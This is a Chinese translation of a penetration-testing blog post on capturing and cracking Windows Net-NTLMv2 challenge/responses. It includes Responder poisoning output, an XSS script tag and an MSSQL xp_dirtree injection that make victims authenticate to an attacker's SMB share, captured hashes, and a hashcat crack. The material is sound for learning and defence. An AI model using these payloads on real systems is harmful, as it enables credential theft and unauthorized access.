原文:Getting Creds via NTLMv2
Jan 13, 2019
原文链接:https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Windows 计算机用于跨网络进行身份验证的身份验证协议之一是质询/响应/验证,称为 Net-NTLMv2。如果可以让 Windows 计算机向我的计算机发送其中一个请求,我就可以执行离线破解以尝试检索其密码。在某些情况下,我还可以进行中继攻击以直接向网络中的其他服务器进行身份验证。我最近遇到了一个有趣的案例,值得分享。在这篇文章中,我将重点介绍如何让主机向您发送质询/响应。
NTLMv2
背景
NTLMv2(或更正式的 Net-NTLMv2)是一种质询-响应身份验证协议,Windows 客户端使用它来向其他 Windows 服务器进行身份验证。它基本上是这样工作的:
- 客户端发送一个请求进行身份验证,其中包含有关连接的参数。
- 服务器发回一个随机数,即一个不应该重复的随机 16 字节。
- 客户端使用其密码加密该随机数,然后将其发回。
- 在非域身份验证的情况下,服务器知道密码,因此可以解密响应,并查看它是否与原始随机数匹配。如果是,则授予访问权限。
在域环境中,唯一的不同是服务器会将用户名、随机数和加密随机数转发到域控制器,其中 DC 可以使用用户哈希来加密随机数并查看它是否与用户的随机数匹配。
我不会更深入地讨论加密的工作原理,只是说用于加密的东西是用户的密码/哈希值。 NTLMv2 允许客户端向服务器进行身份验证,而无需以明文形式发送其密码。然而,风险在于任何人都可以访问随机数和加密随机数并执行离线破解攻击,猜测密码并检查密码是否正确解密。
NTLMv2 与 Kerberos
您今天看到的大多数网络身份验证流量都是通过 Kerberos 而不是 NTLMv2。 Kerberos 比 NTLMv2 提供了许多优势(尽管它绝不是完美的)。然而,在网络上完全禁用 NTLMv2 仍然非常困难。由于 Kerberos 依赖于服务主体名称,因此在默认设置中,只要使用 IP 地址来引用服务器(即,\\10.10.10.10
而不是\\file-server
),Kerberos 将不起作用,并且身份验证将回退到 NTLMv2。此外,许多旧系统和设备(如打印机)不支持 Kerberos,而是依赖 NTLMv2。
NTLM 与 NTLMv2
Windows 将哈希值本地存储为 LM-hash 和/或 NThash。不幸的是,为了本次对话的目的,NTHash 通常被称为 NTLM 哈希(或简称为 NTLM)。这与术语 NTLMv2 完全不同,NTLMv2 实际上是 Net-NTLMv2 的缩写,指的是身份验证协议。在该协议中,它确实使用 Windows NT 和/或 LM 哈希来加密响应,并且该响应有时甚至被称为 NTLMv2 哈希(尽管我会尽量避免在您的语言中使用这种情况)。
攻击
针对 Net-NTLMv2 执行的攻击有两种,具体取决于具体情况以及您作为攻击者所处的位置。
破解密码
一旦客户端尝试对我的机器进行身份验证,并且我捕获加密的随机数,我就可以使用hashcat或john强力猜测密码,并查看是否有任何可以加密随机数以匹配已加密的版本。仅当用户具有可被猜测的弱密码时,此方法才有效。成功破解后,我将获得该帐户的密码以供我认为合适的使用。
中继
中继攻击更加巧妙。要使用中继攻击,我需要能够与客户端通常会进行身份验证的其他服务器进行通信。从那里开始,它看起来是这样的:
一旦客户端尝试向攻击者进行身份验证,攻击者就会尝试以客户端帐户的身份向服务器进行身份验证。它会返回一个随机数,并将其转发给客户端进行加密。客户端会将其发送给攻击者,攻击者会将其发送给服务器,就好像他们已经加密了一样。服务器对攻击者进行身份验证,攻击者向客户端道歉。此时,攻击者已作为客户端用户向服务器进行了身份验证。
客户端不必尝试访问目标服务器。它可能正在尝试访问任何服务器。但只要它尝试向攻击者进行身份验证,攻击者就可以使用它来访问客户端可以合法身份验证的任何服务器。
工具
Responder
responder是执行此类攻击的绝佳工具。它将为您处理各种中毒选项(我将在下一节中给出示例)。它将聆听并展示来自各种用途的挑战和响应的示例。我将在这里以基本模式展示它,但它可以做很多事情。 ivoidwarrenties.tech 有一个很棒的响应者备忘单。
smbserver.py
当客户端连接时,Impactet 的 smbserver.py 将打印出 NTLMv2。因此,如果您不需要所有中毒选项,那么收集起来会更简单。
中继工具
我还可以使用其他工具来进行中继攻击,但这超出了本文的范围。
诱人的认证
背景
当我想到这种攻击时,我会想到两种常见的场景。第一种是坐在网络中,并利用该访问权限来诱骗客户与您交谈。该中毒可能是链路本地多播名称解析(Link-Local Multicast Name Resolution)、Arp 或 WPAD。第二个是让用户与我控制的 SMB 共享进行交互。最近,我遇到了另一个有趣的场景,导致我使用 SQL 注入欺骗客户端向我进行身份验证。我将在下面展示 MitM、用户交互和 SQLI 示例。
中间人攻击
概述
一旦与目标位于同一网络上,就有很多方法可以让该目标与您交谈。
虽然声音很大并且容易被检测到,但是 arp 中毒会让目标通过你发送所有流量。
Web 代理自动发现 (WPAD) 是 Windows 上的一项功能,当浏览器打开时,它们将访问主机当前域的“wpad.domain”。
许多环境没有服务器回复,但即使有,如果我可以先响应,我可以告诉系统来找我获取策略并让他们进行身份验证。
链路本地多播名称解析 (LLMNR) 是 Windows 网络上的一项功能,很难关闭,因为旧的东西依赖它。 LLMNR 是对本地子网的多播请求,旨在将主机名解析为 IP 地址。通过监听这些,我可以毒害回复并获取发送给我的流量。
LLMNR 中毒示例
responder我举了一个用于毒害 LLMNR 请求的MitM 攻击的示例。对于我的设置,我有一个运行 Windows Server 2008 的虚拟机和我的 Kali 工作站。
首先,我将在 Kali 上启动响应程序。它会向我显示它正在监听/中毒的所有内容,然后等待:
root@kali# responder -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [10.1.1.151]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
如果我随后切换到 Windows 主机,并尝试访问不存在的网络路径(如\badservername\share\),则会发出 LLMNR 请求。它会尝试连接几秒钟,最终失败。
[
gif
](https://0xdfimages.gitlab.io/img/responder-llmnr-poison.gif)
但在失败中,我捕获了一个挑战/响应,这是我可以破解的:
您可能会说“当然,但在现实世界中,人们访问不存在的主机的频率是多少?”这很合理,但在大型网络上,如果您等待的时间足够长,有人在共享名称中输入错误的几率相当大。
用户互动
概述
获取 NTLMv2 的另一种方法是让用户访问我的 SMB 共享。这在file://通过电子邮件发送链接的网络钓鱼活动中很常见。我最近遇到的一个更有趣的案例是使用 XSS。只要我能让用户连接到我的共享,任何事情都可以。一旦您诱骗用户访问共享并输入其凭据,您就需要破解 ntlmv2。
XSS示例
我将使用跨站点脚本示例,因为它比单击链接更有趣。我将首先将以下 javascript 注入到网页中:
<script language='javascript' src="\\10.10.14.15\share"></script>
我使用 HackTheBox 主机作为示例,但所走的路径对于解决该主机没有用。现在,加载页面时:
当目标用户输入信用时,他们会以 ntlmv2 的形式返回响应者:
[HTTP] NTLMv2 Client : 10.10.14.15
[HTTP] NTLMv2 Username : \0xdf
[HTTP] NTLMv2 Hash : 0xdf:::019cef6365b05c2c:BA19872D0F64B8435D17CF3B95FE1709:010100000000000000030E4D34ABD401E3F54FBC526BD95A000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0000000000
数据库访问
最近一场 CTF 中还有一个例子,即通过注入获取对 Windows SQL 数据库的访问权限。这里有一份关于这次攻击的详细说明:https://www.gracefulsecurity.com/sql-injection-out-of-band-exploitation/。
简而言之,如果我可以让数据库向我请求文件,我就可以捕获与数据库服务关联的凭据。
由于 Windows MSSQL 允许堆叠命令(即,仅添加; [another statement]
),因此我可以通过添加 EXEC master..xp_dirtree "\\[my ip]\test"; --
来注入。这将导致数据库向我请求文件。
我会在响应者上看到这一点(经过编辑以防止破坏现场活动):
[SMBv2] NTLMv2-SSP Client : [redacted IP]
[SMBv2] NTLMv2-SSP Username : [redacted hostname]\[redacted username]
[SMBv2] NTLMv2-SSP Hash : [username]::[hostname]:fad457a0c6a2a683:[nonce]:[0101000000000000C0653150DE09D20169BDEACF1D6C4559000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000E7EAB54BF6DDB8750C1DE7FF6085C5C46931758545C8F966D002E0D90701BE740A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003500000000000000000000000000]
[*] Skipping previously captured hash for [hostname]\[username]
[*] Skipping previously captured hash for [hostname]\[username]
[*] Skipping previously captured hash for [hostname]\[username]
补充阅读
自从最初发布以来,有人与我分享了来自 osandamalith.com 的链接,该链接[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
]太好了,不能不添加在这里。它有 20 多个获取 NetNTLM 质询/响应的方法示例。[这篇文章的翻译:https://blog.csdn.net/qq_43750882/article/details/139100598
]
破解NTLMv2
关于 NTLMv2 质询/响应的注意事项
人们经常将这些东西称为哈希。但记住它们的真正含义是很有用的。使用帐户凭据加密的随机数(永不重复的随机数据位)。这意味着,如果您从同一个帐户收集一个,那么每次都会完全不同,除非使用相同的随机数和帐户,而这种情况永远不会发生。
Hashcat
一旦我掌握了挑战和回应,我就可以hashcat解决它。我将使用我本地盒子中的示例,我在其中进行了 LLMNR 中毒。
返回的 NTLMv2 是:
Administrator::WIN-487IMQOIA8E:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000
如果我在 中运行它hashcat,我将看到“P@ssword”的密码:
$ hashcat -m 5600 administrator-ntlmv2 /usr/share/wordlists/rockyou.txt --force
hashcat (v4.0.1) starting...
...[snip]...
Hashes: 1 digests; 1 unique digests, 1 unique salts
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
- Device #1: autotuned kernel-accel to 1024
- Device #1: autotuned kernel-loops to 1
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
...[snip]...